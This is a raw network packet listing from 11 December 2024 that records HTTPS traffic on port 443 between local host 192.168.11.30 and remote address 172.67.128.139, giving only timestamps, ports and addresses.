Dec 11, 2024 12:30:44.552720070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.552906036 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.552906036 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.552911043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.553088903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.553282022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.553668022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.553675890 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.554007053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.554013968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.554203033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.554414988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.555450916 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.555459976 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.555872917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.555924892 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.555928946 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.556165934 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.556510925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.556519032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.556672096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.556850910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.556850910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.556850910 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.556855917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.557142973 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.557495117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.557503939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.557847977 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.557847977 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.557847977 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.557847977 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.557857990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.558275938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.558391094 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.558399916 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.558593035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.558870077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.558877945 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.559133053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.559907913 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.559916973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.560247898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.560247898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.560247898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.560247898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.560256958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.560441017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.560973883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.560983896 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.561157942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.561157942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.561157942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.561157942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.561166048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.561244011 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.561469078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.562026024 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.562036037 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.562263012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.562263012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.562273979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.562427998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.562427998 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.562618971 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.563150883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.563160896 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.563582897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.563582897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.563582897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.563592911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.563822985 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.564582109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.564590931 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.564920902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.564920902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.564927101 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.565109968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.565541029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.565550089 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.565742970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.565922022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.565927982 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.566159964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.566771030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.566781044 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.566981077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.567137957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.567146063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.567332029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.567732096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.567740917 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.567953110 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.567958117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.568141937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.568141937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.568655968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.568665981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.568814039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.568814039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.568819046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.568998098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.568998098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.568998098 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.569526911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.569536924 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.569684029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.569864035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.569864035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.569874048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.570059061 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.570059061 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.570107937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.571013927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.571023941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.571265936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.571446896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.571446896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.571446896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.571446896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.571456909 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.571739912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.572077036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.572086096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.572428942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.572428942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.572428942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.572438955 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.572621107 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.572621107 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.573256969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.573266029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.573597908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.573597908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.573597908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.573597908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.573618889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.573940992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.574109077 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.574117899 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.574394941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.574575901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.574577093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.574577093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.574577093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.574587107 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.575020075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.575795889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.575807095 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.576134920 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.576134920 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.576143026 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.576329947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.576858997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.576869011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.577024937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.577024937 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.577074051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.577074051 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.577078104 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.577250957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.577477932 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.577737093 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.577749968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.577893019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.578077078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.578077078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.578077078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.578083038 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.578351974 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.579336882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.579346895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.579516888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.579699993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.579700947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.579700947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.579709053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.579914093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.580368996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.580378056 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.580710888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.580710888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.580718994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.580998898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.581531048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.581541061 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.582171917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.582171917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.582171917 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.582180977 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.582542896 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.582793951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.582803011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.583137035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.583148956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.583326101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.583520889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.583899975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.583911896 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.584240913 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.584240913 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.584249973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.584433079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.584739923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.584749937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.584896088 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.584944963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.585123062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.585123062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.585129976 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.585436106 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.585891008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.585901022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.586065054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.586065054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.586065054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.586072922 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.586249113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.586249113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.586249113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.587057114 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.587066889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.587244987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.587424994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.587424994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.587431908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.587690115 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.588026047 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.588036060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.588365078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.588365078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.588366032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.588371992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.588746071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.588784933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.588794947 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.588979959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.588979959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.588984013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.589164019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.589164019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.589164019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.590553999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.590564013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.590923071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.590923071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.590934992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.591270924 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.591283083 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.591295958 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.591306925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.591466904 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.591466904 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.591659069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.774476051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.774519920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.774826050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.774826050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.774826050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.774826050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.774826050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.774852991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.775018930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.775388956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.775413036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.775574923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.775574923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.775576115 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.775594950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.775809050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.775809050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.775809050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.776391983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.776417971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.776786089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.776803017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.777014971 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.777544022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.777566910 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.777890921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.777890921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.777890921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.777911901 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.778081894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.778301001 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.778439045 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.778460979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.778625011 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.778806925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.778806925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.778806925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.778825998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.779071093 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.779376030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.779398918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.779561996 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.779742956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.779742956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.779742956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.779753923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.780054092 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.780531883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.780560017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.780915022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.780925035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.781105995 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.781621933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.781655073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.781761885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.781971931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.781971931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.781986952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.782161951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.782428026 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.782454967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.782790899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.782790899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.782808065 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.783150911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.783351898 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.783376932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.783691883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.783691883 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.783693075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.783705950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.784080029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.784504890 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.784528017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.784959078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.785140991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.785151005 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.785367966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.785396099 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.785403967 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.785420895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.785784960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.786288977 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.786312103 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.786678076 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.786696911 CET	443	49763	172.67.128.139	192.168.11.30
